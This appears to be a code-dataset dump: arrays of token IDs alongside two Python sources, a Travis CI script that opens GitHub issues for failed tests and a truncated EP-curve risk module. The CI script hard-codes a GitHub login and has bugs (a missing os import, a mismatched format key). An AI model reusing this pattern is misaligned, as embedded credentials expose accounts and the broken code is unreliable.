303, 2426, 29897, 580, 13, 4706, 3464, 29918, 29893, 353, 302, 29876, 29889, 6069, 29898, 1311, 29889, 463, 29892, 281, 29930, 1311, 29889, 303, 2426, 718, 29871, 29896, 29892, 1583, 29889, 303, 2426, 29897, 580, 13, 4706, 282, 29918, 29900, 29918, 29916, 29892, 282, 29918, 29900, 29918, 29891, 353, 1583, 29889, 4467, 29882, 7720, 3552, 3881, 29918, 29882, 29892, 3464, 29918, 29893, 876, 13, 4706, 282, 29918, 29900, 29918, 29916, 353, 1583, 29889, 690, 14443, 29898, 29886, 29918, 29900, 29918, 29916, 29892, 313, 29896, 29892, 29871, 29896, 29892, 298, 29892, 281, 876, 13, 4706, 282, 29918, 29900, 29918, 29916, 353, 1583, 29889, 29873, 488, 29898, 29886, 29918, 29900, 29918, 29916, 29892, 313, 29896, 29892, 405, 29892, 29871, 29896, 29892, 29871, 29896, 876, 13, 4706, 282, 29918, 29900, 29918, 29891, 353, 1583, 29889, 690, 14443, 29898, 29886, 29918, 29900, 29918, 29891, 29892, 313, 29896, 29892, 29871, 29896, 29892, 298, 29892, 281, 876, 13, 4706, 282, 29918, 29900, 29918, 29891, 353, 1583, 29889, 29873, 488, 29898, 29886, 29918, 29900, 29918, 29891, 29892, 313, 29896, 29892, 405, 29892, 29871, 29896, 29892, 29871, 29896, 876, 13, 4706, 282, 29918, 29900, 353, 1583, 29889, 4117, 29918, 29874, 29896, 3552, 29886, 29918, 29900, 29918, 29916, 29892, 282, 29918, 29900, 29918, 29891, 876, 13, 13, 4706, 396, 679, 282, 13, 4706, 26688, 353, 1583, 29889, 29881, 1853, 29898, 10289, 29897, 13, 4706, 282, 353, 1583, 29889, 4384, 29898, 29886, 29918, 29900, 29892, 26688, 29897, 718, 1583, 29889, 4384, 29898, 29886, 29918, 29876, 29892, 26688, 29897, 718, 9210, 13, 4706, 736, 282, 13, 13, 13, 1990, 3617, 29903, 1038, 618, 19132, 29898, 15755, 29889, 4617, 1125, 13, 1678, 9995, 13, 1678, 3617, 4682, 1156, 316, 689, 519, 9500, 310, 1269, 8466, 1543, 29889, 13, 13, 1678, 826, 3174, 29901, 6213, 13, 13, 1678, 16969, 29901, 13, 4706, 323, 6073, 29892, 4682, 2910, 1156, 316, 689, 519, 9500, 29889, 13, 1678, 9995, 13, 1678, 822, 4770, 2344, 12035, 1311, 1125, 13, 4706, 2428, 29898, 2577, 29903, 1038, 618, 19132, 29892, 1583, 467, 1649, 2344, 1649, 580, 13, 4706, 1583, 29889, 12181, 353, 288, 567, 29889, 24111, 580, 13, 4706, 1583, 29889, 17685, 353, 288, 567, 29889, 1168, 4117, 29898, 8990, 29922, 29896, 29897, 13, 4706, 1583, 29889, 690, 14443, 353, 288, 567, 29889, 1666, 14443, 580, 13, 4706, 1583, 29889, 24498, 353, 288, 567, 29889, 18772, 29898, 8990, 10457, 29896, 29892, 1962, 29918, 1949, 29922, 29906, 29897, 13, 4706, 1583, 29889, 29873, 488, 353, 288, 567, 29889, 29911, 488, 580, 13, 4706, 1583, 29889, 29887, 1624, 29918, 299, 353, 288, 567, 29889, 29954, 1624, 29940, 29881, 580, 13, 4706, 1583, 29889, 3286, 4220, 353, 288, 567, 29889, 4300, 4220, 580, 13, 4706, 1583, 29889, 17858, 29918, 1761, 353, 313, 29900, 29892, 29871, 29906, 29892, 29871, 29941, 29892, 29871, 29896, 29897, 13, 4706, 1583, 29889, 2098, 29918, 1761, 353, 313, 29900, 29892, 29871, 29941, 29892, 29871, 29896, 29892, 29871, 29906, 29897, 13, 4706, 1583, 29889, 18837, 29918, 6229, 29879, 353, 288, 567, 29889, 29777, 29928, 9893, 580, 13, 13, 1678, 822, 3386, 29898, 1311, 29892, 921, 29892, 3855, 29918, 29882, 29892, 3855, 29918, 29893, 1125, 13, 4706, 9995, 29887, 1624, 4682, 491, 6790, 2380, 15945, 29908, 13, 4706, 289, 29892, 274, 29892, 17117, 281, 29918, 29886, 353, 1583, 29889, 12181, 29898, 29916, 29897, 13, 4706, 17117, 298, 29892, 281, 29892, 405, 353, 1583, 29889, 12181, 29898, 29939, 29918, 29882, 29897, 13, 4706, 298, 1233, 353, 298, 334, 281, 334, 405, 13, 4706, 396, 313, 29890, 334, 298, 29893, 334, 274, 29897, 13, 4706, 921, 353, 1583, 29889, 3286, 4220, 29898, 29916, 29892, 1583, 29889, 17858, 29918, 1761, 29897, 13, 4706, 921, 353, 1583, 29889, 690, 14443, 29898, 29916, 29892, 313, 29890, 29892, 448, 29896, 29892, 274, 876, 13, 13, 4706, 396, 313, 29890, 334, 298, 29893, 29940, 29897, 13, 4706, 3855, 353, 3855, 29918, 29882, 334, 281, 29918, 29886, 718, 3855, 29918, 29893, 13, 4706, 3855, 353, 1583, 29889, 690, 14443, 29898, 29939, 29892, 8521, 29896, 29892, 29871, 29896, 876, 13, 4706, 1399, 29918, 29890, 353, 302, 29876, 29889, 6069, 29898, 29900, 29892, 289, 29892, 29871, 29896, 29897, 580, 13, 4706, 1399, 29918, 29890, 353, 1583, 29889, 690, 14443, 29898, 513, 29918, 29890, 29892, 8521, 29896, 29892, 29871, 29896, 876, 13, 4706, 1399, 29918, 29890, 353, 1583, 29889, 29873, 488, 29898, 513, 29918, 29890, 29892, 313, 29896, 29892, 298, 1233, 876, 13, 4706, 1399, 29918, 29890, 353, 1583, 29889, 690, 14443, 29898, 513, 29918, 29890, 29892, 8521, 29896, 29892, 29871, 29896, 876, 13, 4706, 2380, 353, 1583, 29889, 17685, 3552, 513, 29918, 29890, 29892, 3855, 876, 13, 4706, 396, 313, 29890, 29892, 298, 1233, 29892, 29871, 29906, 29897, 13, 4706, 2380, 353, 1583, 29889, 690, 14443, 29898, 2248, 29892, 313, 29890, 29892, 298, 1233, 29892, 448, 29896, 876, 13, 4706, 396, 313, 29890, 29892, 298, 1233, 29892, 274, 29897, 13, 4706, 921, 29918, 10289, 353, 1583, 29889, 29887, 1624, 29918, 299, 29898, 29916, 29892, 2380, 29897, 13, 4706, 396, 313, 29890, 29892, 274, 29892, 298, 29892, 281, 29892, 405, 29897, 13, 4706, 921, 29918, 10289, 353, 1583, 29889, 690, 14443, 29898, 29916, 29918, 10289, 29892, 313, 29890, 29892, 298, 334, 281, 29892, 405, 29892, 274, 876, 13, 4706, 921, 29918, 10289, 353, 1583, 29889, 3286, 4220, 29898, 29916, 29918, 10289, 29892, 1583, 29889, 2098, 29918, 1761, 29897, 13, 4706, 921, 29918, 10289, 353, 1583, 29889, 690, 14443, 29898, 29916, 29918, 10289, 29892, 313, 29890, 29892, 274, 29892, 298, 29892, 281, 29892, 405, 876, 13, 13, 4706, 736, 921, 29918, 10289, 13, 13, 13, 1990, 2169, 759, 403, 19132, 3388, 29898, 15755, 29889, 4617, 1125, 13, 1678, 9995, 13, 1678, 3617, 620, 29883, 7943, 4682, 2910, 607, 471, 427, 27489, 287, 491, 413, 29879, 1068, 29906, 931, 29889, 13, 13, 1678, 826, 3174, 29901, 13, 4706, 413, 29879, 29901, 476, 5851, 2159, 310, 26851, 29889, 13, 1678, 16969, 29901, 13, 4706, 323, 6073, 29892, 620, 29883, 7943, 4682, 2910, 29889, 13, 1678, 9995, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 413, 29879, 1125, 13, 4706, 2428, 29898, 4597, 759, 403, 19132, 3388, 29892, 1583, 467, 1649, 2344, 1649, 580, 13, 4706, 1583, 29889, 2039, 353, 413, 29879, 13, 4706, 1583, 29889, 12181, 353, 288, 567, 29889, 24111, 580, 13, 4706, 1583, 29889, 690, 14443, 353, 288, 567, 29889, 1666, 14443, 580, 13, 4706, 1583, 29889, 5451, 353, 288, 567, 29889, 18772, 29898, 8990, 10457, 29896, 29892, 1962, 29918, 1949, 29922, 2039, 29897, 13, 4706, 1583, 29889, 17685, 353, 288, 567, 29889, 1168, 4117, 29898, 8990, 29922, 29906, 29897, 13, 13, 1678, 822, 3386, 29898, 1311, 29892, 921, 29918, 10289, 1125, 13, 4706, 289, 29892, 274, 29892, 298, 29892, 281, 29892, 903, 353, 1583, 29889, 12181, 29898, 29916, 29918, 10289, 29897, 13, 4706, 8536, 1169, 353, 1583, 29889, 5451, 29898, 29916, 29918, 10289, 29897, 13, 4706, 921, 29918, 10289, 353, 1583, 29889, 17685, 29898, 23579, 1169, 29897, 13, 4706, 413, 29879, 353, 1583, 29889, 2039, 13, 4706, 921, 29918, 10289, 353, 1583, 29889, 690, 14443, 29898, 29916, 29918, 10289, 29892, 313, 29890, 29892, 274, 29892, 298, 334, 413, 29879, 29892, 281, 334, 413, 29879, 876, 13, 4706, 736, 921, 29918, 10289, 13, 13, 13, 1990, 897, 689, 1168, 29894, 29906, 29881, 29898, 15755, 29889, 4617, 1125, 13, 1678, 9995, 13, 1678, 897, 689, 519, 26851, 1751, 7345, 13, 13, 1678, 826, 3174, 29901, 13, 4706, 5528, 29898, 524, 1125, 10567, 8242, 29889, 13, 4706, 714, 29883, 29898, 524, 1125, 10604, 8242, 29889, 13, 4706, 8466, 29918, 2311, 313, 524, 1125, 1281, 4068, 3474, 29889, 13109, 29901, 29871, 29941, 29889, 13, 4706, 380, 2426, 313, 524, 1125, 450, 5418, 310, 8466, 8401, 29889, 13109, 29901, 29871, 29896, 29889, 13, 4706, 7164, 313, 524, 1125, 14305, 4019, 282, 1202, 886, 2159, 373, 1716, 11192, 310, 278, 1881, 29889, 13109, 29901, 29871, 29896, 29889, 13, 4706, 756, 29918, 29890, 3173, 313, 11227, 1125, 12048, 11057, 3692, 278, 7546, 3913, 263, 24003, 4608, 29889, 13109, 29901, 7700, 29889, 13, 4706, 878, 2785, 313, 11227, 1125, 960, 5852, 29892, 878, 7964, 822, 290, 519, 26851, 313, 2772, 689, 519, 1281, 29894, 29940, 1691, 325, 29906, 467, 13109, 29901, 5852, 29889, 13, 1678, 16969, 29901, 13, 4706, 323, 6073, 29892, 15326, 310, 4558, 29898, 29890, 1884, 267, 29892, 8158, 29892, 1820, 9748, 322, 7663, 1178, 310, 1269, 3618, 29897, 13, 1678, 9995, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 5528, 29892, 714, 29883, 29892, 8466, 29918, 2311, 29922, 29941, 29892, 7164, 29922, 29896, 29892, 380, 2426, 29922, 29896, 29892, 756, 29918, 29890, 3173, 29922, 8824, 29892, 878, 2785, 29922, 5574, 1125, 13, 4706, 2428, 29898, 2772, 689, 1168, 29894, 29906, 29881, 29892, 1583, 467, 1649, 2344, 1649, 580, 13, 4706, 1583, 29889, 17460, 29918, 2311, 353, 8466, 29918, 2311, 13, 4706, 1583, 29889, 12791, 353, 7164, 13, 4706, 1583, 29889, 303, 2426, 353, 380, 2426, 13, 4706, 1583, 29889, 9171, 29918, 12791, 353, 302, 29876, 29889, 20369, 3552, 29898, 29900, 29892, 29871, 29900, 511, 313, 29900, 29892, 29871, 29900, 511, 313, 12791, 29892, 7164, 511, 313, 12791, 29892, 7164, 4961, 13, 4706, 1583, 29889, 20580, 353, 302, 29876, 29889, 1168, 29894, 29906, 29881, 29898, 3742, 29892, 714, 29883, 29892, 8466, 29918, 2311, 29922, 17460, 29918, 2311, 29892, 17132, 29918, 8513, 2433, 3084, 742, 7164, 29922, 29900, 29892, 13, 462, 795, 380, 2426, 29922, 17460, 29918, 2311, 29892, 756, 29918, 29890, 3173, 29922, 5349, 29918, 29890, 3173, 29897, 13, 13, 4706, 1583, 29889, 29886, 29918, 20580, 353, 302, 29876, 29889, 1168, 29894, 29906, 29881, 29898, 3742, 29892, 29871, 29906, 29930, 17460, 29918, 2311, 29930, 17460, 29918, 2311, 29892, 8466, 29918, 2311, 29922, 1311, 29889, 17460, 29918, 2311, 29892, 13, 462, 18884, 17132, 29918, 8513, 2433, 8305, 742, 7164, 29922, 1311, 29889, 12791, 29892, 380, 2426, 29922, 1311, 29889, 303, 2426, 29897, 13, 13, 4706, 1583, 29889, 1545, 2785, 353, 878, 2785, 13, 4706, 565, 878, 2785, 29901, 13, 9651, 1583, 29889, 29885, 29918, 20580, 353, 302, 29876, 29889, 1168, 29894, 29906, 29881, 29898, 3742, 29892, 8466, 29918, 2311, 29930, 17460, 29918, 2311, 29892, 8466, 29918, 2311, 29922, 1311, 29889, 17460, 29918, 2311, 29892, 13, 462, 462, 1678, 17132, 29918, 8513, 2433, 3084, 742, 7164, 29922, 29900, 29892, 380, 2426, 29922, 1311, 29889, 303, 2426, 29897, 13, 4706, 565, 8466, 29918, 2311, 1273, 29871, 29906, 1275, 29871, 29900, 29901, 13, 9651, 12020, 7865, 2392, 703, 11730, 7736, 1353, 338, 6969, 29892, 541, 1857, 8466, 2159, 275, 6571, 1642, 4830, 29898, 17460, 29918, 2311, 876, 13, 4706, 1583, 29889, 29940, 353, 8466, 29918, 2311, 334, 8466, 29918, 2311, 13, 4706, 1583, 29889, 463, 353, 8466, 29918, 2311, 849, 29871, 29906, 13, 4706, 1583, 29889, 18816, 29885, 3398, 353, 288, 567, 29889, 29903, 335, 29885, 3398, 580, 13, 4706, 1583, 29889, 29881, 1853, 353, 288, 567, 29889, 29928, 1542, 580, 13, 4706, 1583, 29889, 17858, 29918, 1761, 353, 313, 29900, 29892, 29871, 29906, 29892, 29871, 29941, 29892, 29871, 29896, 29897, 13, 4706, 1583, 29889, 3286, 4220, 353, 288, 567, 29889, 4300, 4220, 580, 13, 4706, 1583, 29889, 14939, 353, 288, 567, 29889, 29943, 10102, 580, 13, 4706, 1583, 29889, 24498, 353, 288, 567, 29889, 18772, 29898, 8990, 10457, 29896, 29892, 1962, 29918, 1949, 29922, 29906, 29897, 13, 4706, 1583, 29889, 24049, 29918, 1767, 353, 315, 3466, 2059, 1917, 580, 13, 4706, 1583, 29889, 18837, 29918, 6229, 29879, 353, 288, 567, 29889, 29777, 29928, 9893, 580, 13, 4706, 1583, 29889, 12181, 353, 288, 567, 29889, 24111, 580, 13, 4706, 1583, 29889, 4384, 353, 288, 567, 29889, 15738, 580, 13, 4706, 1583, 3032, 657, 29918, 10289, 353, 3617, 10302, 8003, 29898, 1311, 29889, 463, 29892, 1583, 29889, 303, 2426, 29897, 13, 4706, 1583, 3032, 657, 29918, 29879, 1038, 618, 353, 3617, 29903, 1038, 618, 19132, 580, 13, 4706, 1583, 3032, 17158, 29918, 24826, 353, 2169, 759, 403, 19132, 3388, 29898, 1311, 29889, 17460, 29918, 2311, 29897, 13, 13, 1678, 822, 3386, 29898, 1311, 29892, 921, 1125, 13, 4706, 9995, 311, 15628, 23460, 14354, 411, 18765, 287, 1283, 7224, 15945, 29908, 13, 4706, 9210, 353, 1583, 29889, 29886, 29918, 20580, 29898, 29916, 29897, 13, 4706, 396, 313, 29890, 29892, 274, 29892, 298, 29892, 281, 876, 13, 4706, 921, 29918, 12181, 353, 1583, 29889, 12181, 29898, 29916, 29897, 13, 4706, 396, 313, 29890, 29892, 274, 29892, 298, 718, 29871, 29906, 29886, 29892, 281, 718, 29871, 29906, 29886, 29897, 13, 4706, 565, 1583, 29889, 12791, 1405, 29871, 29900, 29901, 13, 9651, 921, 353, 1583, 29889, 9171, 29918, 12791, 29898, 29916, 29897, 13, 13, 4706, 396, 313, 29890, 29892, 29871, 29906, 29940, 29892, 298, 29892, 281, 29897, 13, 4706, 282, 353, 1583, 3032, 657, 29918, 10289, 29898, 10289, 29897, 13, 13, 4706, 396, 313, 29890, 29892, 298, 29892, 281, 29892, 29871, 29906, 29940, 29897, 13, 4706, 282, 353, 1583, 29889, 3286, 4220, 29898, 29886, 29892, 1583, 29889, 17858, 29918, 1761, 29897, 13, 4706, 3855, 29918, 1896, 353, 1583, 29889, 4384, 29898, 1311, 29889, 14939, 29898, 29886, 511, 286, 303, 668, 29889, 524, 29941, 29906, 29897, 13, 4706, 3855, 29918, 6050, 353, 3855, 29918, 1896, 718, 29871, 29896, 13, 13, 4706, 396, 313, 29890, 29892, 298, 29892, 281, 29892, 405, 29897, 13, 4706, 3855, 29918, 1896, 29918, 29882, 29892, 3855, 29918, 1896, 29918, 29893, 353, 1583, 29889, 24498, 29898, 29939, 29918, 1896, 29897, 13, 4706, 3855, 29918, 1896, 29918, 29882, 353, 1583, 29889, 24049, 29918, 1767, 29898, 29939, 29918, 1896, 29918, 29882, 29892, 29871, 29900, 29892, 921, 29918, 12181, 29961, 29906, 29962, 448, 29871, 29896, 29897, 13, 4706, 3855, 29918, 1896, 29918, 29893, 353, 1583, 29889, 24049, 29918, 1767, 29898, 29939, 29918, 1896, 29918, 29893, 29892, 29871, 29900, 29892, 921, 29918, 12181, 29961, 29941, 29962, 448, 29871, 29896, 29897, 13, 4706, 396, 313, 29890, 29892, 298, 29892, 281, 29892, 405, 29897, 13, 4706, 3855, 29918, 6050, 29918, 29882, 29892, 3855, 29918, 6050, 29918, 29893, 353, 1583, 29889, 24498, 29898, 29939, 29918, 6050, 29897, 13, 4706, 3855, 29918, 6050, 29918, 29882, 353, 1583, 29889, 24049, 29918, 1767, 29898, 29939, 29918, 6050, 29918, 29882, 29892, 29871, 29900, 29892, 921, 29918, 12181, 29961, 29906, 29962, 448, 29871, 29896, 29897, 13, 4706, 3855, 29918, 6050, 29918, 29893, 353, 1583, 29889, 24049, 29918, 1767, 29898, 29939, 29918, 6050, 29918, 29893, 29892, 29871, 29900, 29892, 921, 29918, 12181, 29961, 29941, 29962, 448, 29871, 29896, 29897, 13, 13, 4706, 396, 20102, 282, 13, 4706, 282, 29918, 29882, 29892, 282, 29918, 29893, 353, 1583, 29889, 24498, 29898, 29886, 29897, 13, 4706, 26688, 353, 1583, 29889, 29881, 1853, 29898, 10289, 29897, 13, 4706, 282, 29918, 29882, 353, 1583, 29889, 24049, 29918, 1767, 29898, 29886, 29918, 29882, 29892, 1583, 29889, 4384, 29898, 29900, 29892, 26688, 511, 1583, 29889, 4384, 29898, 29916, 29918, 12181, 29961, 29906, 29962, 448, 29871, 29896, 29892, 26688, 876, 13, 4706, 282, 29918, 29893, 353, 1583, 29889, 24049, 29918, 1767, 29898, 29886, 29918, 29893, 29892, 1583, 29889, 4384, 29898, 29900, 29892, 26688, 511, 1583, 29889, 4384, 29898, 29916, 29918, 12181, 29961, 29941, 29962, 448, 29871, 29896, 29892, 26688, 876, 13, 13, 4706, 396, 13181, 457, 279, 8466, 313, 29890, 29892, 298, 29892, 281, 29892, 405, 29897, 13, 4706, 330, 29918, 1896, 353, 313, 29896, 718, 313, 29939, 29918, 1896, 29918, 29882, 448, 282, 29918, 29882, 876, 334, 313, 29896, 718, 313, 29939, 29918, 1896, 29918, 29893, 448, 282, 29918, 29893, 876, 13, 4706, 330, 29918, 6050, 353, 313, 29896, 448, 313, 29939, 29918, 6050, 29918, 29882, 448, 282, 29918, 29882, 876, 334, 313, 29896, 448, 313, 29939, 29918, 6050, 29918, 29893, 448, 282, 29918, 29893, 876, 13, 4706, 330, 29918, 27728, 353, 313, 29896, 718, 313, 29939, 29918, 1896, 29918, 29882, 448, 282, 29918, 29882, 876, 334, 313, 29896, 448, 313, 29939, 29918, 6050, 29918, 29893, 448, 282, 29918, 29893, 876, 13, 4706, 330, 29918, 2273, 353, 313, 29896, 448, 313, 29939, 29918, 6050, 29918, 29882, 448, 282, 29918, 29882, 876, 334, 313, 29896, 718, 313, 29939, 29918, 1896, 29918, 29893, 448, 282, 29918, 29893, 876, 13, 13, 4706, 396, 313, 29890, 29892, 274, 29892, 298, 29892, 281, 29892, 405, 29897, 13, 4706, 921, 29918, 29939, 29918, 1896, 353, 1583, 3032, 657, 29918, 29879, 1038, 618, 29898, 29916, 29892, 3855, 29918, 1896, 29918, 29882, 29892, 3855, 29918, 1896, 29918, 29893, 29897, 13, 4706, 921, 29918, 29939, 29918, 6050, 353, 1583, 3032, 657, 29918, 29879, 1038, 618, 29898, 29916, 29892, 3855, 29918, 6050, 29918, 29882, 29892, 3855, 29918, 6050, 29918, 29893, 29897, 13, 4706, 921, 29918, 29939, 29918, 27728, 353, 1583, 3032, 657, 29918, 29879, 1038, 618, 29898, 29916, 29892, 3855, 29918, 1896, 29918, 29882, 29892, 3855, 29918, 6050, 29918, 29893, 29897, 13, 4706, 921, 29918, 29939, 29918, 2273, 353, 1583, 3032, 657, 29918, 29879, 1038, 618, 29898, 29916, 29892, 3855, 29918, 6050, 29918, 29882, 29892, 3855, 29918, 1896, 29918, 29893, 29897, 13, 13, 4706, 396, 313, 29890, 29892, 274, 29892, 298, 29892, 281, 29892, 405, 29897, 13, 4706, 921, 29918, 10289, 353, 313, 1311, 29889, 18837, 29918, 6229, 29879, 29898, 29887, 29918, 1896, 29892, 29871, 29896, 29897, 334, 921, 29918, 29939, 29918, 1896, 718, 13, 462, 1678, 1583, 29889, 18837, 29918, 6229, 29879, 29898, 29887, 29918, 6050, 29892, 29871, 29896, 29897, 334, 921, 29918, 29939, 29918, 6050, 718, 13, 462, 1678, 1583, 29889, 18837, 29918, 6229, 29879, 29898, 29887, 29918, 27728, 29892, 29871, 29896, 29897, 334, 921, 29918, 29939, 29918, 27728, 718, 13, 462, 1678, 1583, 29889, 18837, 29918, 6229, 29879, 29898, 29887, 29918, 2273, 29892, 29871, 29896, 29897, 334, 921, 29918, 29939, 29918, 2273, 29897, 13, 13, 4706, 565, 1583, 29889, 1545, 2785, 29901, 13, 9651, 396, 878, 2785, 313, 29890, 29892, 29871, 29896, 29892, 298, 29892, 281, 29892, 405, 29897, 13, 9651, 286, 353, 1583, 29889, 18816, 29885, 3398, 29898, 1311, 29889, 29885, 29918, 20580, 29898, 29916, 876, 13, 9651, 286, 353, 1583, 29889, 3286, 4220, 29898, 29885, 29892, 1583, 29889, 17858, 29918, 1761, 29897, 13, 9651, 286, 353, 1583, 29889, 18837, 29918, 6229, 29879, 29898, 29885, 29892, 29871, 29896, 29897, 13, 9651, 921, 29918, 10289, 353, 921, 29918, 10289, 334, 286, 13, 13, 4706, 921, 29918, 10289, 353, 1583, 3032, 17158, 29918, 24826, 29898, 29916, 29918, 10289, 29897, 13, 4706, 714, 353, 1583, 29889, 20580, 29898, 29916, 29918, 10289, 29897, 13, 13, 4706, 736, 714, 13, 2 ]
travis/submit_issue.py
chrisma/rails-intro-16-mirror
0
129857
<gh_stars>0 #!/usr/bin/env python2.7 import logging, sys, json from github3 import GitHub logging.basicConfig(level=logging.DEBUG) logging.getLogger('github3').setLevel(logging.WARNING) log = logging.getLogger(__name__) # Load json from Rspec run from stdin test_runs = json.loads(sys.stdin.read()) # As Rspec should be run in --fail-fast mode, the last # run test should be the one that failed failed_test = test_runs['examples'][-1] status = failed_test['status'] if status != 'failed': log.error('Last test did not fail!') log.error(failed_test) sys.exit(1) title = failed_test['full_description'] body = failed_test['exception']['message'] log.debug("FAiled test: {test}".format(title)) # Create Github issue gh_username = 'swt2public' gh_password = '<PASSWORD>' log.debug("Logging in as {user}".format(user=gh_username)) github = GitHub(gh_username, gh_password) log.debug("Ratelimit remaining: {rate}".format(rate=github.ratelimit_remaining)) # create_issue(owner, repository, title, body=None, assignee=None, milestone=None, labels=[]) # TRAVIS_REPO_SLUG (owner_name/repo_name) # https://docs.travis-ci.com/user/environment-variables/ owner, repo = os.environ.get('TRAVIS_REPO_SLUG').split('/') log.debug("Repo: {owner}/{repo}".format(owner=owner, repo=repo)) log.debug("Attempting to create issue...") resp = github.create_issue(owner, repo, title, body, owner) log.debug("Created ticket: {resp}".format(resp=resp))
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29900, 13, 29937, 14708, 4855, 29914, 2109, 29914, 6272, 3017, 29906, 29889, 29955, 13, 13, 5215, 12183, 29892, 10876, 29892, 4390, 13, 3166, 18546, 29941, 1053, 25492, 13, 13, 21027, 29889, 16121, 3991, 29898, 5563, 29922, 21027, 29889, 18525, 29897, 13, 21027, 29889, 657, 16363, 877, 3292, 29941, 2824, 842, 10108, 29898, 21027, 29889, 29956, 25614, 29897, 13, 1188, 353, 12183, 29889, 657, 16363, 22168, 978, 1649, 29897, 13, 13, 29937, 16012, 4390, 515, 390, 6550, 1065, 515, 3659, 262, 13, 1688, 29918, 3389, 29879, 353, 4390, 29889, 18132, 29898, 9675, 29889, 4172, 262, 29889, 949, 3101, 13, 29937, 1094, 390, 6550, 881, 367, 1065, 297, 1192, 14057, 29899, 11255, 4464, 29892, 278, 1833, 29871, 13, 29937, 1065, 1243, 881, 367, 278, 697, 393, 5229, 13, 26061, 29918, 1688, 353, 1243, 29918, 3389, 29879, 1839, 19057, 2033, 14352, 29896, 29962, 13, 13, 4882, 353, 5229, 29918, 1688, 1839, 4882, 2033, 13, 361, 4660, 2804, 525, 26061, 2396, 13, 12, 1188, 29889, 2704, 877, 8897, 1243, 1258, 451, 4418, 29991, 1495, 13, 12, 1188, 29889, 2704, 29898, 26061, 29918, 1688, 29897, 13, 12, 9675, 29889, 13322, 29898, 29896, 29897, 13, 13, 3257, 353, 5229, 29918, 1688, 1839, 8159, 29918, 8216, 2033, 13, 2587, 353, 5229, 29918, 1688, 1839, 11739, 16215, 4906, 2033, 13, 1188, 29889, 8382, 703, 4519, 2356, 1243, 29901, 426, 1688, 29913, 1642, 4830, 29898, 3257, 876, 13, 13, 29937, 6204, 402, 2985, 2228, 13, 12443, 29918, 6786, 353, 525, 2774, 29873, 29906, 3597, 29915, 13, 12443, 29918, 5630, 353, 12801, 25711, 17013, 16299, 13, 13, 1188, 29889, 8382, 703, 3403, 3460, 297, 408, 426, 1792, 29913, 1642, 4830, 29898, 1792, 29922, 12443, 29918, 6786, 876, 13, 3292, 353, 25492, 29898, 12443, 29918, 6786, 29892, 24170, 29918, 5630, 29897, 13, 1188, 29889, 8382, 703, 29934, 14830, 13083, 9886, 29901, 426, 10492, 29913, 1642, 4830, 29898, 10492, 29922, 3292, 29889, 3605, 295, 13083, 29918, 1745, 17225, 876, 13, 13, 29937, 1653, 29918, 15118, 29898, 20348, 29892, 9810, 29892, 3611, 29892, 3573, 29922, 8516, 29892, 1223, 4895, 29872, 29922, 8516, 29892, 2316, 27744, 29922, 8516, 29892, 11073, 11759, 2314, 13, 29937, 323, 4717, 28607, 29918, 1525, 13152, 29918, 12750, 23338, 313, 20348, 29918, 978, 29914, 20095, 29918, 978, 29897, 13, 29937, 2045, 597, 2640, 29889, 3018, 1730, 29899, 455, 29889, 510, 29914, 1792, 29914, 20944, 29899, 20897, 29914, 13, 20348, 29892, 13761, 353, 2897, 29889, 21813, 29889, 657, 877, 29911, 4717, 28607, 29918, 1525, 13152, 29918, 12750, 23338, 2824, 5451, 11219, 1495, 13, 1188, 29889, 8382, 703, 5612, 29877, 29901, 426, 20348, 6822, 29912, 20095, 29913, 1642, 4830, 29898, 20348, 29922, 20348, 29892, 13761, 29922, 20095, 876, 13, 13, 1188, 29889, 8382, 703, 4165, 3456, 292, 304, 1653, 2228, 856, 1159, 13, 13713, 353, 18546, 29889, 3258, 29918, 15118, 29898, 20348, 29892, 13761, 29892, 3611, 29892, 3573, 29892, 12271, 29897, 13, 1188, 29889, 8382, 703, 20399, 23381, 29901, 426, 13713, 29913, 1642, 4830, 29898, 13713, 29922, 13713, 876, 2 ]
plttools/ep_curve.py
anishpatelwork/plt-tools
0
1616504
<gh_stars>0 """ EP Curve module for the representation of an EP Curve""" from enum import Enum import pandas as pd import numpy as np class EPType(Enum): """ EP Type Enum representing type of EP Curve """ OEP = 1 AEP = 2 UNKNOWN = 3 class EPCurve: """EP Curve""" RETURN_PERIODS = [1, 2, 5, 10, 20, 25, 50, 100, 150, 200, 250, 500, 1000, 10000] REQUIRED_COLUMNS = ["Probability", "Loss"] def __init__(self, data: list, ep_type: EPType): """ Type initialiser for EP Curve Parameters ---------- data: type(list) Contains a list of Probability and Loss pairs [{"Probability":0.01, "Loss":1000} ,{"Probability":0.02, "Loss":2000}] ep_type: type(EPType) Enum representing the type of EP Curve that this is (AEP or OEP) Returns ------- """ curve_data = pd.DataFrame(data) if all(column in list(curve_data.columns.values) for column in EPCurve.REQUIRED_COLUMNS): self.curve = curve_data max_loss_probability = [{"Probability": np.finfo( float).tiny, "Loss": self.curve.max().Loss}] self.curve = self.curve.append(pd.DataFrame(max_loss_probability)) self.curve = self.curve.set_index('Probability') if ep_type is None: self.ep_type = EPType.UNKNOWN else: self.ep_type = ep_type else: raise ValueError( "Probability and Loss fields not in data. Check the spelling") def loss_at_a_given_return_period(self, return_period: float): """ Get a loss from EP curve Parameters ---------- return_period: type(float) Non-Negative number representing the return period (reciprocal of the probability) Returns ------- type(float) Return Period Loss """ if return_period <= 0: raise ValueError( "return_period: {0} supplied is not positive".format(return_period)) probability = 1 / return_period if probability in self.curve.index: loss = self.curve.loc[probability].Loss else: probability_array = [probability] self.curve = self.curve.reindex(self.curve.index.union(probability_array)).sort_index( ascending=True).interpolate(method='index') loss = self.curve.loc[probability].Loss return loss def tce_loss_at_a_given_return_period(self, return_period): """ Calculate TCE from EP curve at a given return period Methodology takes return period loss at the given return period and adds the weighted average loss for return periods higher (probability lower) than the given return period. Parameters ---------- return_period: type(float) Non-Negative number representing the return period (reciprocal of the probability) Returns ------- type(float) Tail conditional expected loss at given return period """ if return_period <= 0: raise ValueError( "return_period: {0} supplied is not positive".format(return_period)) return_period_loss = self.loss_at_a_given_return_period(return_period) probability = 1 / return_period subset = self.curve[self.curve.index <= probability] expected_loss_above_rpl = (subset.index * subset['Loss']).mean() return return_period_loss + expected_loss_above_rpl def get_ep_type(self): """ Get the type of EP Curve Parameters ---------- Returns ------- EPType """ return self.ep_type def get_standard_return_period_ep(self): """ Calculates standard EP return periods and returns the overall curve Parameters ---------- Returns ------- type(dict) The following structure [{"Probability":0.01, "Loss":1000}, {"Probability":0.02, "Loss":2000}] """ return_periods = EPCurve.RETURN_PERIODS probabilities = list(map(lambda x: 1/x, return_periods)) self.curve = 